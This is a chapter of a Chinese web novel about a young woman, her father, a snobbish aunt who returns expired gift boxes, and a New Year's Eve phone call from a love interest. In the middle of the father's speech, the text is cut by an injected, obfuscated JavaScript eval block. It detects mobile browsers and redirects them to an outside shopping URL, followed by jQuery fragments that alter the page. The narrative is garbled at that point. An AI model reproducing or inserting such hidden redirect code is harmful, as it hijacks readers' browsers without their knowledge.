123读书网 > 都市小说 > 恶女逆袭上位 > 45.“冯润电话”
    很快,春节已至,街上的小店都打烊歇业了,但各大商超一般不歇业,而是放起了欢快的拜年曲,一派张灯结彩,喜气洋洋。


    私人菜馆也一直营业,现在人都不喜欢自己操办年夜饭了,都喜欢在饭店订位置,菜馆忙的脚不沾地,仅仅是过年这一个月,就能赚回一整年的。


    当然,老板给发三倍薪资,员工可以自愿选择是否加班,愿意加的就是三倍,不愿意的就是正常薪水。


    岳文国也选择了加班,将年夜饭的重任交给了岳梧桐。


    等到腊月二十八号这天,岳文国好不容易腾出半天时间,带着岳梧桐去了兄弟家里送礼。


    电动车急速行驶在马路上,迎面吹来冬季寒风,真是刺骨的冷。


    岳梧桐冻的脸疼,冲前座的人抱怨:“爸爸,叔叔一家都不来看我们,婶婶也瞧不起我们,你干嘛还上赶着巴结他们?”


    “梧桐,不要这样说你叔叔,”岳文国倒是看的很开,“节前怎么着也得送点礼过去,我毕竟是做大哥的,总得让着弟弟嘛。”


    岳梧桐撇撇嘴,不情不愿极了:“你心里有叔叔,他可从来都没把你这个大哥放在眼里过!”


    她替岳文国感到不值,因为叔叔一家都是白眼狼,叔叔年轻时靠爸爸赚钱才完成学业,可叔叔工作后,就迅速和爸爸撇清了关系,对于还钱的事更是只字不提。


    婶婶更是势利眼,喜欢巴结有钱人,嫌弃他们父女俩家贫,逢年过节都不愿意和他们走动,甚至连女儿结婚都忘了喊他们吃席……


    到了叔叔的家,岳文国摁了门铃,是婶婶开的门。


    “大哥,梧桐?”


    婶婶看见他们,先是诧异,立马换了一副热情的嘴脸:“真是稀客呀,你们怎么有空过来了?”


    “弟妹,这不是梧桐放寒假了,”岳文国笑呵呵解释道,“我就带着她过来见见你,顺便给你拜个年。”


    父女俩突然上门,婶婶一进门就拉着岳梧桐热情寒暄,亲切地把她拉到沙发坐下,不停往她手里递水果瓜子糖果。


    “梧桐现在真是越来越漂亮了呢,怎么上了大学就跟变了个人样似的!”


    “真是女大十八变,小时候我抱着你去逛街——”婶婶嘴上不能闲着,还伸手在自己的大腿比量了一下高度,“那时候,你才这么高呢!”


    岳文国听的也哈哈大笑。


    婶婶张嘴全是赞美之词,但岳梧桐还是看出了她眼底的不耐烦,只能陪着干笑。


    她有时候是真佩服这些长辈,把表里一套背里一套做到了极致,还特别喜欢当和事佬,八卦甚至是掺和别人家的家事。


    这时,岳文国好奇地环顾四周,问:“弟妹,家里怎么这么冷清,我弟和乐乐去哪了?”


    乐乐就是叔叔婶婶唯一的女儿。


    “这不是乐乐嫁到了苏州那边嘛,我女婿家里产业大,在苏州住的可是园林,所以今年我们就不在家过年了,打算去苏州陪着亲家一块过年!”


    说起女儿乐乐,婶婶脸上全是骄傲,胸膛都不由得挺直了。


    婶婶还说:“这不是时间紧迫,乐乐先把她爸接过去了,等安排好住处,明天再回来接我。”


    “原来是这样。”岳文国点点头:“难怪家里只剩弟妹一人。”


    岳梧桐懂婶婶的骄傲,乐乐姐确实是一位优秀的女儿,从幼儿园到大学成绩优异,长得个高又漂亮,身边的追求者都挑花眼了,从小就是长辈嘴里的“别人家的孩子”。


    大学毕业没两年,乐乐嫁给了苏州某位富二代,据说男方是做生意的,家大业大,还送了乐乐房子和车子,十分阔气的苏南人。


    “弟妹,乐乐这孩子嫁得真好,”岳文国也笑着夸乐乐,“以后你们的下半生也有保障了,必定荣华富贵一辈子了。”


    “大哥,借你吉言!”婶婶很高兴听别人夸女儿。


    岳梧桐本以为陪婶婶寒暄一会就走,没想到她说起来没完没了,一会不停夸奖乐乐聪明伶俐:


    “要说我家乐乐,从小就是懂事孩子,一点都不让我们做父母的操心……”


    一会又炫耀起了女婿多么有钱:


    “我们女婿出手可大方了,还没结婚就送了乐乐一套房和车子,这样大方又慷慨的人家,就算打着灯笼也不好找呀!”


    婶婶说到激情处,还会手舞足蹈,词汇量之丰富,简直滔滔不绝。


    岳梧桐坐的屁股都痛了,心里替爸爸愤愤不平,既然你家现在都那么有钱了,怎么不把当初欠的钱还给我们呢?


    岳文国可是老狐狸,看出了女儿的不耐烦,连忙提起了礼盒:“弟妹,这次登门,没带什么贵重的东西,随便买了一些礼品,希望你能笑纳!”


    他将几个包装精美的礼盒塞进婶婶手里,作最后的道别:“我那小菜馆还忙着呢,就不耽误你时间了,我们先走了。”


    “不不不,大哥,这怎么好意思呢?”婶婶连忙摆摆手,又将东西塞给了他:“你还是拿回家给梧桐吃吧。”


    岳文国表现得十分热情,婶婶推开一次,他就再送一次:“来来,弟妹快拿着,别跟我客气了,梧桐想吃我再给她买就是了。”


    岳梧桐看到婶婶一脸不好意思,双手也在推诿,眼里却是笑着的。


    当然,一番极限拉扯之后,婶婶还是将礼盒全都收下了。


    就在她终于踏出门时,婶婶却叫住了他们,从楼梯追下来,热情地塞给他们几个礼盒。


    “梧桐,大哥,你们先别走!”


    “这些都是我女婿过年送的礼,我一个人也吃不了,你拿回家给梧桐吃吧。”


    岳文国立马抬手婉拒:“弟妹,这怎么好意思呢?”


    “大哥,你就拿着吧。”婶婶脸上染了一丝抱歉:“我们要去苏州过年,就没时间去你家拜年了,这些东西也算是我们小小的心意。”


    话说到这个份上,岳文国这才答应收了下来。


    终于离开了婶婶的家,走出小区大门时,岳梧桐如释重负松了一口气,连周遭空气也跟着松了一口气,变得清新明亮。


    但回到家后,她瞅了一眼婶婶送的礼盒,上面的日期有些不对劲,怎么送的是仲秋节的月饼礼盒?


    “爸,你快看!婶婶送来的礼盒都过期了!”


    岳文国笑呵呵说:“没事,她这人就是这样,爱占小便宜惯了。”


    真恶心人!


    岳梧桐气的胸膛不停起伏:“她怎么又搞这一出,有次过节还拿了别人不要的礼盒来敷衍我们!”


    她气死了,气死了!


    婶婶家都那么有钱了,每次她和爸爸都精挑细选送他们礼物,但婶婶就像打发叫花子似的,回馈给他们以次充好的孬货,甚至今年还拿了过期的……


    “既然这么看不起我们,她还不如不送!”


    “梧桐,不要跟这种人计较,有些人一张嘴说话,一动手做事,就暴露了她一生的高度,连藏都藏不了。”


    岳文国检查了一下礼盒,随手扔在了门口,转身教育女儿,“你要知道这种人才是最好对付的,因为一眼就看出来了,让你看不透的那种人,才是最可怕的。”


    岳文国看着她,眼里都是岁月积淀的智慧,语重心长对女儿说:“现在网上的人动不动就说自己


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235743|197142||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    混不好是被资本压迫的,可资本的压迫是隐形的,普通人之间的竞争和伤害才是最直面的。”


    “普通人一个月就混个几千块,资本才没空害你,亲戚才是最会打压算计你的。”


    岳梧桐有些触动,默默将爸爸的话刻在了心里,的确如此,从小到大她感受到的最大的恶意,都是来自身边的人。


    “爸爸。”她眼里染上一抹狠厉与坚定:“我以后一定会出人头地,再也不会让婶婶看不起我们了!”


    “好。”岳文国欣赏的眼神看着她:“我以后就等着享女儿的福。”


    岳梧桐恶狠狠看着门口的几个礼盒,恨不得瞪出一个大洞来,当晚就把那些礼盒扔进了小区的垃圾桶。


    伴随“嘭”一声巨响,空荡荡的垃圾桶发出巨响,力度很大,像是带着泄愤一般。


    她眼里全是恨意、憋屈和不甘,内心升腾起一股斗志,大丈夫绝不能郁郁久居人之下!


    婶婶,三十年河东三十年河西,你莫要太得意,我绝不会让你们一辈子看低,我一定会出人头地的!


    终于到了年三十这晚,岳文国忙到很晚才回家,梧桐已经做好了年夜饭。


    父女俩坐在桌前一边吃饭一边看电视,春晚的声音放得很大,接近零点的前几分钟,岳梧桐的手机突然响了,是冯润打来的电话。


    爸爸还在旁边,岳梧桐走到了窗边接起来:“冯、冯哥。怎么打过来了?”


    冯润清了清嗓子,还没想好怎么说,耳朵听见电视机传来的声音:“你那边正在看春晚吗?”


    岳梧桐瞥了一眼电视,春晚上的主持人已经开始倒计时准备。


    整个世界都安静了,岳梧桐的心停一拍,跳一拍,他的声音从手机那端传出来:“十、九、八、七……三、二、一。”


    伴随着最后一声倒计时结束,扬州城上空都被绚烂的烟花照亮了,窗外绽放了绚烂璀璨的烟花,电视机也一片喧闹,人们称赞这又是一个凤舞太平年。


    各种嘈杂的声音交织,耳朵被迫接受了一场听觉盛宴,可真正落到她心里的,只有他那句:“梧桐,新年快乐呀。”


    她眼里有烟花的倒影,张了张嘴:“你也是,新年快乐。”


    冯润听得很清楚,她的声音很轻,像一片轻飘飘的羽毛,落在了他最柔软的心尖上。


    下一秒,他淡淡开口:“谢谢,那就不打扰你了,明年再见!”


    “明……”她心跳快的不可思议,几乎快要跳出来了:“明年再见。”


    幸好下一秒,电话就被他挂断了。


    岳梧桐抚上胸口的位置,松了一口气,刚才差点就失态了。


    他已经挂断了电话,岳梧桐将手机握在掌心,总感觉心里空落落的。


    今年冯振华要留在上海陪他们母子过年,他那边应该很热闹才对,怎么有空给她打来电话?


    谁知她还没想明白,等转过身,发现爸爸若有所思地盯着她,眼里是过来人的洞察明火:“谁这时候给你打来的电话,是不是在学校谈了男朋友?”


    “哪有!”她心虚极了。


    瞧女儿这反应,岳文国一下就确定了:“要是真谈了恋爱,就把人带回家给我看看呗,我得考验一下他才行。”


    “真没谈!你考验谁去?”她当然死不承认:“爸,天色不早了,赶紧睡吧。”


    可她还是失眠了。


    枕头下是冯润的笔记薄,借给她写论文的,她抱在怀里,轻轻从里面翻出一张小纸条,是他写给那位孙听雨的。


    孙听雨,你究竟是谁?


    冯润,你和她之间发生过什么?